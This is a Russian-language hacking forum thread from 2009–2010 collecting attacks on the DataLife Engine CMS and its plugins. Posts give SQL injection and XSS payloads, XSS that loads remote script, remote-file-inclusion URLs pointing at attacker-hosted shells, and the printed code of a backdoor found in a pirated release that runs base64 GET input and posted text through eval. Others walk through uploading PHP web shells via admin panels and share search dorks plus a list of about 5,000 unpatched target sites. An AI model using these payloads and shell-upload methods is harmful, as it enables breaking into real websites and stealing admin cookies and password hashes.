$video2 = explode("&", $video2[1]);
$video2 = $video2[0];
/////........
$pic="http://img.youtube.com/vi/$video2/default.jpg";
$youtube .="<center><br><b>$title</b><br><br><img src=\"$pic\"><br><br><a href=\"http://www.youtube.com/get_video?$link\">[ Download ]</a></center>";
}
-Hormold-
27.02.2009, 15:57
SPAM BUTTON in PM
Версия: v.1.0
Раскрытие путей
Уязвимый скрипт: engine\inc\pmspam.php
Запрос: --
Метод: --
Уязвимый кусок кода:
//До этого нет объявление функции и каких-либо includ'ов
echoheader("SPAM in PM", "Админпанель модуля \"SPAM IN PM\" v.1.0 BY GRIMWEB");
-Hormold-
27.02.2009, 16:08
SPAM BUTTON in PM
Версия: v.1.0
ВОЗМОЖНО Sql-INJ
Уязвимый скрипт: engine\inc\pmspam.php
Запрос: flag=-1'
Метод: POST
Уязвимый кусок кода:
if($_POST['spam_flag'])
{
foreach ($_POST['spam_flag'] as $key => $value)
{
$delete_spam_query = "DELETE FROM " . PREFIX . "_spam_pm WHERE id = '$value'";
$delete_spam_query_id = $db->query($delete_spam_query);
if(!$delete_spam_query)
{
$spam_err = true;
}
}
}
-Hormold-
27.02.2009, 16:25
DLE HACK SERVICE BETA
Версия: v.1.0
Расскрытие путей
Уязвимый скрипт: engine\inc\md5.php
Запрос: pass[]=md5
Метод: POST
Уязвимый кусок кода:
if (isset($_POST['pass'])) {
$pass=trim(htmlspecialchars($_POST['pass']));
$pass=md5($pass);
}
-Hormold-
27.02.2009, 16:41
Простой мини чат для Dle
Версия: v.1.0
Расскрытие путей
Уязвимый скрипт: shout.php
Запрос: name[]=1&message[]=msg
Метод: POST
Уязвимый кусок кода:
if (isset($_POST["name"], $_POST["message"])){
$name = iconv("UTF-8", "windows-1251", $_POST["name"]);
$message = iconv("UTF-8", "windows-1251", $_POST["message"]);
Ошибка вызывается тем, что iconv неможет обработать Массив который передаётся через POST
-Hormold-
27.02.2009, 16:45
Простой мини чат для Dle
Версия: v.1.0
Активная XSS
Уязвимый скрипт: shout.php
Запрос: name=<h1> 1 </h1>&message=<h1> xsss </h1>
Метод: POST
Уязвимый кусок кода:
if (isset($_POST["name"], $_POST["message"])){
$name = iconv("UTF-8", "windows-1251", $_POST["name"]);
$message = iconv("UTF-8", "windows-1251", $_POST["message"]);
///........
$file[] = $id."¤".$name."¤".$message."¤".time()."\n";
///........
foreach ($file as $msg) fwrite($fp, $msg);
///........
Этот баг даёт возможность поставить сниффер, и ловить куки ;)
-Hormold-
27.02.2009, 16:56
profileZ. Смена логина
Версия: v.1.5
Sql-INJ
Уязвимый скрипт: engine/modules/profile.php
Запрос: usertitle=-1'
Метод: POST
Уязвимый кусок кода:
$usertitle=$_POST['usertitle'];
if (strlen($password1)>0) {
$password1 = md5(md5($password1));
$sql_user = "UPDATE " . USERPREFIX . "_users set name='$usertitle', fullname='$fullname', land='$land', icq='$icq', email='$email', info='$info', signature='$signature', password='$password1', allow_mail='$allow_mail', xfields='$filecontents', allowed_ip='$allowed_ip' where name='$user'";
} else {
$sql_user = "UPDATE " . USERPREFIX . "_users set name='$usertitle', fullname='$fullname', land='$land', icq='$icq', email='$email', info='$info', signature='$signature', allow_mail='$allow_mail', xfields='$filecontents', allowed_ip='$allowed_ip' where name='$user'";
}
-Hormold-
27.02.2009, 17:18
hacking attemptz
Версия: v.1.0
Активная XSS от любого пользователя(100% кража куки админа)
Уязвимый скрипт: hacking_attemptz_fnct.php
Запрос: login_name=<h1><script>alert(/xss/);</script>XSS</h1>&login_password=1234
Метод: POST
Уязвимый кусок кода:
function log_user($host)
{
global $ip;
$log_date = date('d.m.Y');
$log_time = date('H:i:s');
$log_info = "
<tr>
<td align='center'>".$_POST['login_name']."</td>
<td align='center'>$log_date</td>
<td align='center'>$log_time</td>
<td align='center'>$ip</td>
<td align='center'>".gethostbyaddr($ip)."</td>
</hr>
";
Теперь попробуйте залогиниться с логином <h1>xss</h1> и любым пассом!
Смотрим админку, и вот! XSS видна
SPAM BUTTON in PM
Версия: v.1.0
ВОЗМОЖНО Sql-INJ
Уязвимый скрипт: engine\inc\pmspam.php
Запрос: flag=-1'
Метод: POST
Уязвимый кусок кода:
if($_POST['spam_flag'])
{
foreach ($_POST['spam_flag'] as $key => $value)
{
$delete_spam_query = "DELETE FROM " . PREFIX . "_spam_pm WHERE id = '$value'";
$delete_spam_query_id = $db->query($delete_spam_query);
if(!$delete_spam_query)
{
$spam_err = true;
}
}
}
Что значит возможно?
-Hormold-
27.02.2009, 18:02
Friends of Suite
Версия: v.1.3
Расскрытие путей
Уязвимый скрипт: inc/friend.php
Запрос: reg_name[]=123®_adress[]=1234
Метод: POST
Уязвимый кусок кода:
if ($_POST['docreate'] == "create")
{
$name = trim(htmlspecialchars(stripslashes($_POST['name'])));
$address = trim(htmlspecialchars(stripslashes($_POST['address'])));
-Hormold-
27.02.2009, 18:08
Friends of Suite
Версия: v.1.3
Активная XSS от любого пользователя(100% кража куки админа)
Уязвимый скрипт: friend.php
Запрос: reg_name=<h1><script>alert(/xss/);</script>XSS</h1>®_adress=http://127.0.0.1/
Метод: POST
Уязвимый кусок кода:
//пока ненашёл...
Теперь попробуйте добавить сайт с названием <h1>xss</h1> и любым url'ом где есть ссылка на ваш хост.
Смотрим админку, и вот! XSS видна :P
Хотя script удаляет...
-Hormold-
28.02.2009, 00:40
DataLife Engine Redirect
Версия: v.1.1
XSS
Уязвимый скрипт: engine/redirect.php
Запрос: url=http://site.su"><script>alert(document.cookie);</script>
Метод: GET
Уязвимый кусок кода:
$url = (isset($_GET['url']) && (!empty($_GET['url']))) ? trim($_GET['url']) : @header('Location: /index.php');
Переадресация для ссылок(^^ странно похожи...)!
Версия: v.1.0
XSS
Уязвимый скрипт: engine/redikt.php
Запрос: ?url=http://sasa.su"><script>alert(document.cookie);</script>
Метод: GET
Уязвимый кусок кода:
$url = (isset($_GET['url']) && (!empty($_GET['url']))) ? trim($_GET['url']) : @header('Location: /index.php');
-Hormold-
01.03.2009, 22:09
Удаление комментариев при помощи AJAX
Версия: v.1.0
sql-inj
Уязвимый скрипт: engine/ajax/commentdelete.php
Запрос: commid=-1'
Метод: GET
Уязвимый кусок кода:
$row = $db->super_query("SELECT * FROM " . PREFIX . "_comments where id = '{$_REQUEST['commid']}'");
Раскручивать не стал...
По адресу site/engine/images.php?area=
Можно заливать картинки на сервер без авторизации
Проверял на 6.7 - пашет
Расскажите можна будет,как нибудь заюзать уязвимость в модуле "Переходы"...?
Когда например в гугле воодишь запрос с ковычкой, то при переходе :
MySQL Error!
The Error returned was:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'vBulletin', '/', '%main%', 'ip', 'engine')' at line 1
Error Number:
1064
wildshaman
09.05.2009, 17:15
Расскажите можна будет,как нибудь заюзать уязвимость в модуле "Переходы"...?
Когда например в гугле воодишь запрос с ковычкой, то при переходе :
MySQL Error!
The Error returned was:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'vBulletin', '/', '%main%', 'ip', 'engine')' at line 1
Error Number:
1064
покажи подробнее, линком желательно
Вот зайдёшь и на самый первый сайт нажми...
http://www.google.com/search?client=opera&rls=ru&q=site:scriptiks.ru+'
там варка в том, что он сохраняет запросы в базу с реферор от гугла или же яши, а если подделать запрос, то можно вызвать скуль эрор, я уже об этом поднимал тему один раз.
wildshaman
10.05.2009, 13:52
Активные XSS в DLE версии 8.0 (возможно и раньше).
Необходимо несколько специфических настроек.
1) XSS при добавлении новостей из админски, WISYWIG должен быть отключен;
Простое добавление новостей пользователями, WISYWIG должен быть отключен:
<iframe width=0 border=0 height=0 src=http://ha.ckers.org/scriptlet.html <
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDov L3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm 9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPS IxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcm lwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
<SCRIPT SRC=http://ha.ckers.org/xss.js?
<
2) XSS в комментариях к новостям, WISYWIG должен быть включен:
<SCRIPT SRC=http://ha.ckers.org/xss.js?<
(с) by Wildshaman, 2009 год.
wildshaman
11.05.2009, 17:14
DLE 8.0 Раскрытие путей:
http://dle-news.ru/index.php?do=pm&doaction=del&dle_allow_hash=06e5bbf84191c990867ee5bbacf879b8&master_box=on&selected_pm[][]=8
dle_allow_hash берется из исходника страницы списка персональных сообщений (для каждого юзверя он свой на каждом сайте)...
Активная XSS (требуется доступ в админку)...
идем в редиактирвоание своей инфы в админке ([site]/admin.php?mod=options&action=personal)
, в поле "Полное имя:" пишем <script>alert(/Hacked by Wildshaman/)</script> и смотрим в свой профиль на сайте ([site]/user/username)
(с)Wildshaman 2009 год
XSS в комментариях к новостям, WISYWIG должен быть включен:
<SCRIPT SRC=http://ha.ckers.org/xss.js?<
Ет коряво и не работает, т.к. к адресу скрипта коннектится "<" и следующий тег, да и полстраницы обрезается... Если в другю сторону загнуть - фильтрует.
З.Ы. Такая же "уязвимость" и в приватных месагах.
mr.gr33n
07.07.2009, 20:38
Вот тоже нашел xxs, может и баян ну на нулёных версиях пашет как колхозник =)
[XSS]
http://test1.ru/dle/<script>alert()</script>?mod=main
Вот еще раскрытие путей если админ не удалил папку Upgrade, достаточно перейти по адресу:
http://test1.ru/dle/upgrade/7.5.php
James026
09.07.2009, 01:02
Вот тоже нашел xxs, может и баян ну на нулёных версиях пашет как колхозник =)
[XSS]
http://test1.ru/dle/<script>alert()</script>?mod=main
Hacking attempt!
Создадим новость и потом откроем код страницы с новостью то получим адресс одминки xD
<a onclick="return dropdownmenu(this, event, MenuNewsBuild('1', 'full'), '170px')" href="http://site.ru/odmin.php?mod=editnews&action=editnews&id=1" target = "_blank" >
Работает не всегда, смотря от настроек DLE.
-=BlackSmoke=-
13.08.2009, 01:41
Уязвимость в скрипте: DLE FORUM.
Версии: хз, тестил на 2.3.
Что делает: получение префикса таблиц(dle_ или то, что задал админ, например, blablabla_).
Реализация: добавить сообщение, содержащее тег а затем, не обновляя страницу, добавить еще одно сообщение. Появится ошибка синтаксиса мускула, при этом откроется, какую именно таблицу не удалось обновить.
DataLife Engine 8.2
www.site/path/engine/api/api.class.php?dle_config_api=[file]
Dr.Brain
05.09.2009, 18:59
DataLife Engine 8.2
www.site/path /engine/api/api.class.php?dle_config_api=[file]
ниче не вижу
в нуленных DataLife Engine 8.2 это убрали)
и вообще ни одного сайта уязвимого не нашел из 100
z0mbie86
06.09.2009, 07:27
Подскажите как залить шелл через админку в DLE 8.2
Andrewko1
07.09.2009, 11:38
Подскажите как написать запрос для гугла чтобы найти сайты на движке dle
inurl:index.php?do=register
DataLife Engine 8.2
www.site/path/engine/api/api.class.php?dle_config_api=[file]
dle_config_api - используют только нулледы, так что на лицензию это не распространяется.
Dark_cracker
11.09.2009, 16:21
Не знаю важно или нет , ну мне часто помогало...Если админ не поставил на шаблон достаточно прав , то через админку когда изменяешь шаблон пишет ошибку :( , я это обхожу с помощью создания нового шаблона , после того как создали новый шаблон его можно редактировать ;-) , в настройках системы выбераете тот шаблон который создали:)
вопрос как залить шелл через админку с возможностью его последующего запуска
вопрос возник из-за того, что файл заливаемый через новости, фильтруется хц аксесом.
А если в шаблон заливать, то скобки "<>" не обрабатываются (
Других явных вариантов тут не нашел и пока самому не пришли в голову... кто что знает?
phpdreamer
19.09.2009, 11:34
Заходишь в "настройка системы" => "настройка загрузки файлов на сервер" => "Расширение файлов, допустимых к загрузке" дописываешь PHP. Потом "Добавить новость" там не чё не заполняем и новость не добавляем... просто "загрузка файлов на сервер" загружаешь значит свой шелл... он сохраняется в ...\uploads\files\десять цифр_название.php а потом пробиваешь на валидность...
и еще
https://damagelab.org/index.php?showtopic=16780&pid=103742&st=10&#entry103742
Dark_cracker
20.09.2009, 00:22
Заходишь в "настройка системы" => "настройка загрузки файлов на сервер" => "Расширение файлов, допустимых к загрузке" дописываешь PHP. Потом "Добавить новость" там не чё не заполняем и новость не добавляем... просто "загрузка файлов на сервер" загружаешь значит свой шелл... он сохраняется в ...\uploads\files\десять цифр_название.php а потом пробиваешь на валидность...
уже обсуждалось , много раз <FilesMatch "\.(avi|mp3|mp4|flv|swf|wmv)$|^$"> , так что , то что ты написал полная чушь:)
десять цифр_название.php а потом пробиваешь на валидность
C этого поржал :)
https://damagelab.org/index.php?showtopic=16780&pid=103742&st=10&#entry103742
этот тип тоже какую то ху**ню написал.
Nightmarе
23.09.2009, 05:13
Хотелось бы спросить у тех, кто ковыряет движок DLE, есть там плагин к нему типа форум DLE.
Заметил на нём такую особенность, он экранирует кавычки, ну первым делом естественно была мысль проверить его на XSS, однако в исходном HTML коде страницы он всё преобразует в HTML эквиваленты (LOL)
Но экранирование всё равно происходит… значит видимо не всё так чисто… или всё.
Может кто уже смотрел это место, стоит ли его ковырять, или затея бессмысленна?
можно ли через пользователя залить шелл?
имеется доступ /admin.php?mod=addnews&action=addnews
hackmon, нельзя.
В последних версиях, по-моему, вообще нереально, имея даже полный доступ в админку.
wildshaman
09.10.2009, 16:00
Если имеется установленный модуль DLE forum - то шелл залить проще простого, имея доступ в админку.
Заходим в админку - другие разделы - настройка модуля DLE forum (/admin.php?mod=options&action=options)
Настройка (/admin.php?mod=forum&action=tools) - таб "настройка загрузки файлов на сервер".
В "Расширение файлов, допустимых к загрузке" дописываем ",php", сохраняем.
Идем на форум, выбираем любую тему, нажимаем "ответить", в нвоом окне нажимает на значок папки (выше поля ввода сообщения).
Там выбираем наш шелл в .PHP формате (.php обрезается самим движком). Грузим, вставляем в пост (аттачмент), постим. Видим в посте линк. переходим - вот и наш шелл.
после этого можно залить наш шелл в другое место, удалить этот и стереть пост.
Ну и, главное, не забыть в админке в настройках убрать добавленное разрешени PHP
(с)WildShaman 2009
wildshaman,
только что попробовал, не получилось. Скорее всего из-за ЧПУ. По-моему, оно должно быть отключено.
denniselite
11.10.2009, 11:40
Люди подскажите как можно вытащить хеши паролей всех пользователей без доступа к бд?
Люди подскажите как можно вытащить хеши паролей всех пользователей без доступа к бд?
Если есть доступ в админку, то сделать бэкап базы, скачать его, и вытащить оттуда.
у мня проблема вот линк http://www.milw0rm.com/exploits/9572
там эксплоит www.site/path /engine/api/api.class.php?dle_config_api=[shell.txt?]
вместо сайт я вставляю сайт жертвы (и знаю что там установлена такая же версия)
эта строчко остается неизменная /engine/api/api.class.php?dle_config_api=
и шелл Я загрузил на site narod.ru тоесть после config_api= я ввожу линк на свой сайт с шеллом
пс убирал расширение ничего
кто потскажет
wildshaman
16.10.2009, 20:08
http://site-na-dle.ru/engine/api/api.class.php?dle_config_api=http://site.narod.ru/.txt?
так делал? с вопросом в конце.
http://site-na-dle.ru/engine/api/api.class.php?dle_config_api=http://site.narod.ru/.txt?
так делал? с вопросом в конце.
все равно
у мня проблема вот линк http://www.milw0rm.com/exploits/9572
там эксплоит www.site/path /engine/api/api.class.php?dle_config_api=[shell.txt?]
вместо сайт я вставляю сайт жертвы (и знаю что там установлена такая же версия)
эта строчко остается неизменная /engine/api/api.class.php?dle_config_api=
и шелл Я загрузил на site narod.ru тоесть после config_api= я ввожу линк на свой сайт с шеллом
пс убирал расширение ничего
кто потскажет
Может register_globals = Off
Может register_globals = Off
я на разных сайтах смотрел
wildshaman предположил что Эта бага есть только у версий,с качанных с сайта http://dlecms.com
как по другому моно замутить
mailbrush
17.10.2009, 17:50
Раскрытие путей + LFI
DataLife Engine <= 8.2
Тип: Раскрытие путей
Автор: mailbrush
Версия: DataLife Engine <= 8.2
Описание: Уязвимость заключается в отсутствии фильтрации входного параметра "dle_skin" в файле init.php и позволяет удалённому пользователю добиться вывода ошибки функции, соответственно увидев пути к корню сайта.
Уязвимый код:
/engine/init.php
...
} elseif (isset($_COOKIE['dle_skin']) AND $_COOKIE['dle_skin'] != '') {
if (@is_dir(ROOT_DIR.'/templates/'.$_COOKIE['dle_skin']))
{
$config['skin'] = $_COOKIE['dle_skin'];
}
}
...
$tpl->dir = ROOT_DIR.'/templates/'.$config['skin'];
...
include_once $tpl->dir.'/login.tpl';
Эксплуатация:
Заходим на сайт DLE. Открываем браузером менеджер куки. Изменяем / добавляем параметр, название которого ставим dle_skin и значение ../
Отправляем запрос на сайт:
GET / HTTP/1.1
Host: dle-news.ru
Cookie: dle_skin=../
Cookie2: $Version=1
Connection: Close
Самый простой вариант - используем мой скрипт:
http://mailbrush.eu/tools/dle.php
После этого на сайте видим ошибку:
Warning: include_once([PATH]): failed to open stream: No such file or directory in [PATH] on line 314
Warning: include_once(): Failed opening '[PATH]' for inclusion (include_path='.;C:\php5\pear') in [PATH] on line 314
Невозможно загрузить шаблон: shortstory.tpl
[PATH] - это и есть раскрытие путей.
Соображающие люди поймут как сделать из этого LFI.
Дорк: Powered by DataLife Engine
mailbrush
Круто.
Ухты! Можно даже залить шелл если в uploads/files залить свой login.tpl
указывать dle_skin=../uploads/files/
HAXTA4OK
18.10.2009, 23:31
Раскрытие путей
DataLife Engine 8.2 Без всяких куков
1)файл preview.php
require_once ROOT_DIR.'/engine/classes/templates.class.php';
самое прикрльное что ROOT_DIR читает как папку, хотя многие в асе написали что
константа *в не понятках*
вызываем этот файл:
http://dle/engine/inc/preview.php
получаем
Warning: require_once(ROOT_DIR/engine/classes/templates.class.php) [function.require-once]: failed to open stream: No such file or directory in C:\AppServ\www\upload33\engine\inc\preview.php on line 2
на офф сайте даже канает)
+ 2)еще ругается с файла Init.php
require_once (ENGINE_DIR . '/inc/include/functions.inc.php');
extract( $_REQUEST, EXTR_SKIP );
require_once (ENGINE_DIR . '/data/config.php');
http://dle/engine/inc/include/init.php
Warning: require_once(ENGINE_DIR/inc/include/functions.inc.php) [function.require-once]: failed to open stream: No such file or directory in /home/public_html/engine/inc/include/init.php on line 18
+3) нужны куки :)
engine/ajax/antivirus.php
if (isset( $_COOKIE['selected_language'] )) {
$_COOKIE['selected_language'] = totranslit( $_COOKIE['selected_language'], false, false );
if (@is_dir ( ROOT_DIR . '/language/' . $_COOKIE['selected_language'] )) {
$selected_language = $_COOKIE['selected_language'];
}
}
require_once ROOT_DIR.'/language/'.$selected_language.'/adminpanel.lng';
все тоже самое что и у mailbrush'a. только в куках имя selected_language и значение ../ уже выдаст ошибку
+4) самое бональное раскрытие
engine/modules/imagepreview.php
$_GET['image'] = htmlspecialchars ($_GET['image'], ENT_QUOTES);
$_GET['image'] = str_replace( "document.cookie", "", $_GET['image'] );
$_GET['image'] = str_replace( "javascript", "", $_GET['image'] );
http://dle/engine/modules/imagepreview.php?image[]=
PS и не нужны куки здесь)
Зыы ну почти не нужны
S0ulVortex
05.11.2009, 00:54
Народ есть способы залить шел через админку в dle 8.2 ???
Мэилбраш же вон написал способ. Только так вроде.
S0ulVortex
05.11.2009, 10:31
Был найден бэкдор в нулле от -=ZLOY=-
В этом файле был бэкдор. eval() через $_POST
Файл лежит в (/engine/ajax/updates.php)
Код бэкдора
if($_GET['wert']==''){
require_once ROOT_DIR.'/language/'.$selected_language.'/adminpanel.lng';
$config['charset'] = ($lang['charset'] != '') ? $lang['charset'] : $config['charset'];
@header("HTTP/1.0 200 OK");
@header("HTTP/1.1 200 OK");
@header("Cache-Control: no-cache, must-revalidate, max-age=0");
@header("Expires: 0");
@header("Pragma: no-cache");
@header("Content-type: text/css; charset=".$config['charset']);
$data = @file_get_contents("http://www.dle-news.ru/extras/updates.php?version_id=".$_REQUEST['versionid']."&key=".$config['key']);
if (!strlen($data)) echo $lang['no_update']; else echo $data;
}else{
$file=(ROOT_DIR."/engine/classes/mysql.class.php");
if(file_exists($file)){ @require($file); $x.="mysql.class.php - ok<br />";}
$file=(ROOT_DIR."/engine/data/dbconfig.php");
if(file_exists($file)){ @require($file); $x.="dbconfig.php - ok<br />";}
$file=(ROOT_DIR."/engine/data/config.php");
if(file_exists($file)){ @require($file); $x.="config.php - ok<br />";}
eval(base64_decode($_GET['user_id']));
echo <<<HTML
<HTML><body><form action="" method="post">
<center><textarea name="text" rows="10" cols="100"></textarea>
<br /><input type="submit" value="Canoinoaaoe"/></center></form></body></HTML>
HTML;
if($_POST['text']!=''){eval(stripcslashes($_POST['text']));
}}
EST a1ien
12.11.2009, 19:07
Найдена уязвимость в DLE 8.2(Только в этой версии)
/index.php?do=lostpassword&douser=1&lostid=
Получаем пас от пользователя с id 1
На офф сайте уже доступна заплатка.
В новых версиях дле даже можно версию узнать ))
engine/skins/images/logos.jpg
Теперь у каждой версии в админки стоит версия в лого )
Это просто шикарно )
Проблемму с лостпассворд профиксили. dle.org7.ru
Еще одна бага есть. можн залить шелл с помощю категорий. создаете категорию туда свой шаблон с шеллом. вродь до 7.2 у мя пахало
NoEasyWayOut
19.11.2009, 13:30
Какой запрос в гугл вбить дабы найти DLE версии только 8.2?Может есть какой-то признак по урлу, inurl:blabla ?
8.2, раскрытие путей
selected_language = .
admin.php
Какой запрос в гугл вбить дабы найти DLE версии только 8.2?Может есть какой-то признак по урлу, inurl:blabla ?
Можно на images.google.ru вбить
"engine/skins/images/logos.jpg" Datalife Engine
http://images.google.ru/images?hl=ru&source=hp&q=%22engine%2Fskins%2Fimages%2Flogos.jpg%22+Datali fe+Engine&btnG=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA+%D0%BA%D0%B0%D 1%80%D1%82%D0%B8%D0%BD%D0%BE%D0%BA&gbv=2&aq=f&oq=
slva2000
24.11.2009, 22:34
Выкладываю скрипт поиска DLE 8.2. Многопоточность. CURL.
http://depositfiles.com/files/6s4qs35gb
Берёт данные из файла где собраны любые версии ДЛЕ. Можно иметь просто любые сайты, но признаки поиска ДЛЕ для гугла, например, известны, ему самому, а занчит и вам. :D
Кому лень возиться со скриптом, вэлком в готовую (http://depositfiles.com/files/ademwzxp8) базу. Примерно 5к версии 8,2. На сегодня половина ещё висят без фиксов. Эх, аккуратнее, и имейте честь и достоинство. Жаль хайда нет.
hellorin
27.11.2009, 15:19
Выкладываю скрипт поиска DLE 8.2. Многопоточность. CURL.
http://depositfiles.com/files/6s4qs35gb
Берёт данные из файла где собраны любые версии ДЛЕ. Можно иметь просто любые сайты, но признаки поиска ДЛЕ для гугла, например, известны, ему самому, а занчит и вам. :D
Кому лень возиться со скриптом, вэлком в готовую (http://depositfiles.com/files/ademwzxp8) базу. Примерно 5к версии 8,2. На сегодня половина ещё висят без фиксов. Эх, аккуратнее, и имейте честь и достоинство. Жаль хайда нет.
Сцыль с базой обовить бы ...
https://forum.antichat.ru/thread153641.html
бага в посылке пакета без кукисов.
http://vipuzor.com/admin.php
Host: vipuzor.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.20) Gecko/20091111 Firefox/3.1.3.37
Referer: http://vipuzor.com/admin.php
Content-Type: application/x-www-form-urlencoded
POST
subaction=dologin&username=admin&password=111111
slva2000 Ссылочки обновите пожалуйста
http://site.com//language/Russian/website.lng
Боян - .htaccess
// будет работать на старых версиях, в новых хтакссесс поумалчанию залит.
H00k
Balancer
10.01.2010, 11:25
Мой способ самый простой. заливаете шелл через новость. ищете в антивире . и в маин.тпл или другой шаб через админку прописываем. include('/uploads/files/shell.php');
а дальше заходим в шелл и быстренько удаляем файл хтасес из директории шелла(аплоадс и файлс).
дальше удаляеш инклуд из шабла. и с чистой душой радуемся
Проинклудил я main.tpl, а как зайти в шел не понятно. Объясните нубу, пожалуйста! :confused:
Подскажите, что можно сделать, имя доступ к админке в DLE 8.0., если слить базу мешает не выставленные права 777. Есть в этой версии способы залить шелл?
Мой способ самый простой. заливаете шелл через новость. ищете в антивире . и в маин.тпл или другой шаб через админку прописываем. include('/uploads/files/shell.php');
а дальше заходим в шелл и быстренько удаляем файл хтасес из директории шелла(аплоадс и файлс).
дальше удаляеш инклуд из шабла. и с чистой душой радуемся
а для этого не нужно в index.php менять строчку:
echo $tpl->result['main'];
на
eval (' ?' . '>' . $tpl->result['main'] . '<' . '?php '); ??
или я что то не правильно понял ? объясните кто нибудь...
и ещё один вопрос, может кто знает, что нужно сделать, чтобы пароли при регистрации сохранялись в базу - как есть, без md5 кодирования ?
Может кто запалит способ заливки шелла через админские права в DLE v8.2 есть же способ! Лично я ++ поставлю! =)
In.Exploit
14.01.2010, 03:06
Может кто запалит способ заливки шелла через админские права в DLE v8.2 есть же способ! Лично я ++ поставлю! =)
Есть. в login.tpl
или там где выбор шаблона для категории.
или же инклудь в маин.тпл
Есть. в login.tpl
или там где выбор шаблона для категории.
или же инклудь в маин.тпл
При помощи этого товарища и своих усилей нашёл способ заливки шелла через админ панель, впрочем она нечем не отличается от выше указанных просто в версиях от 8.0, а именно в 8.2 нужно в маин.тпл инклудить при помощи тега:
{include file="file.php"}
Кроме шаблона, можно еще как-нибудь залить шелл? DLE 7.5-8.3
================================================== ======================================
| # Title : DataLife Engine 8.3 RFI Vulnerability
| # Author : indoushka
| # email : indoushka@hotmail.com
| # Home : www.iq-ty.com/vb
| # Script Home : http://villehost.net/files/DataLife%20Engine%208.3%20Full%20English%20UTF-8%20Encoded%20-%20www.cms-pedia.com.rar (pass=www.cms-pedia.com)
| # Dork : Powered by CMS Pedia � 2009 (DataLife Engine Support � 2009. CMS Pedia)
| # Tested on : windows SP2 Fran�ais V.(Pnx2 2.0) + Lunix Fran�ais v.(9.4 Ubuntu)
| # Bug : RFI
====================== Exploit By indoushka =================================
# Exploit :
1- RFI
http://localhost/upload/engine/inc/include/init.php?selected_language=http://localhost/c.txt?
http://localhost/upload/engine/inc/help.php?config[langs]=http://localhost/c.txt?
http://localhost/upload/engine/ajax/pm.php?config[lang_=[EV!L]
http://localhost/upload/engine/ajax/addcomments.php?_REQUEST[skin]]=http://localhost/c.txt?
http://localhost/upload/engine/ajax/addcomments.php?_REQUEST[skin]]=http://localhost/c.txt?
http://www.example.com/engine/inc/include/init.php?selected_language=http://www.example2.com
http://www.example.com/engine/inc/help.php?config[langs]=http://www.example2.com
http://www.example.com/engine/ajax/pm.php?config[lang_=http://www.example2.com
http://www.example.com/engine/ajax/addcomments.php?_REQUEST[skin]]=http://www.example2.com :)
Вопрос. Такой. есть Доступ к БД. Могу сдлеать юзеру админ права. Но немогу найти админку. что посоветуете?
Сделай юзеру админ права и войди в аккаунт юзера, там наверняка и появится ссыль в админ панель
Сделай юзеру админ права и войди в аккаунт юзера, там наверняка и появится ссыль в админ панель
:D Ты думаешь я не проверял ))) они заходят набирая путь до админки руками
MagNomeTik
10.02.2010, 15:55
В последних версиях DLE в меню редактирования любой новости есть пункт "Редактировать новость (Админка)".
Выделяешь этот пункт и видишь в строке состояния примерно такую вещь http://сайт/admin.php?mod=editnews&action=editnews&id=25303
Отсюда можешь уже можешь разглядеть)
Спасибо, но все не то )) там эксклюзивный шаблон. И нет этого всего. ТАм с первого взгляда и не скажешь что DLE. Сам держу сайт на DLE и знаю самый распространеные фишки поиска админки. В данном случаи я ищу что то типо сканера админок )))
Раскрытие путей dle 8.3 engine/images.php
dle_skin: ../
if ($_COOKIE['dle_skin']) {
if (@is_dir ( ROOT_DIR . '/templates/' . $_COOKIE['dle_skin'] )) {
$config['skin'] = $_COOKIE['dle_skin'];
}
}
Открываем site.ru/engine/images.php?area=short_story&add_id=
грузим картинку и получаем раскрытые пути)
Dark_cracker
10.02.2010, 23:59
Вопрос. Такой. есть Доступ к БД. Могу сдлеать юзеру админ права. Но немогу найти админку. что посоветуете? возми зайди под админом и нажми редактировать новость , и тебя кинет в админку =)
Уже обговаривали выше это момент. Что там нету этих конопок. и вообщше нету новостей. ДЛЕ передалан в мощный портал.
Боян - .htaccess
// будет работать на старых версиях, в новых хтакссесс поумалчанию залит.
H00k
Да там все 3 файла смотреть можно
по DLE 8.3 ктото может чтото сказать?
necros555
04.03.2010, 22:57
engine/inc/include/init.php?selected_language= cрабатывает вот этот експлоит
Warning: require_once(ENGINE_DIR/inc/include/functions.inc.php) [function.require-once]: failed to open stream: No such file or directory in S:\home\192.168.2.1\www\engine\inc\include\init.ph p on line 19
Fatal error: require_once() [function.require]: Failed opening required 'ENGINE_DIR/inc/include/functions.inc.php' (include_path='.;/usr/local/php5/PEAR') in S:\home\192.168.2.1\www\engine\inc\include\init.ph p on line 19
подскажите что можно дальше зделать? и можно ли залить шелл или так слить базу зарние спс
cheburator
06.03.2010, 11:17
engine/inc/include/init.php?selected_language= cрабатывает вот этот експлоит
Warning: require_once(ENGINE_DIR/inc/include/functions.inc.php) [function.require-once]: failed to open stream: No such file or directory in S:\home\192.168.2.1\www\engine\inc\include\init.ph p on line 19
Fatal error: require_once() [function.require]: Failed opening required 'ENGINE_DIR/inc/include/functions.inc.php' (include_path='.;/usr/local/php5/PEAR') in S:\home\192.168.2.1\www\engine\inc\include\init.ph p on line 19
подскажите что можно дальше зделать? и можно ли залить шелл или так слить базу зарние спс
1. В 8.3 Пофиксили ;
2. Это раскрытие путей. Может пригодится только если ты зальешь шелл через соседей. Для того что бы найти путь
mailbrush
06.03.2010, 11:39
2. Это раскрытие путей. Может пригодится только если ты зальешь шелл через соседей. Для того что бы найти путь
Не только. Если помимо DLE на сайте присутствует другой движок, в котором присутствует скуля, то есть вероятность залить шелл через INTO OUTFILE, в чем и поможет раскрытие путей.
WEBAdmin
13.03.2010, 05:09
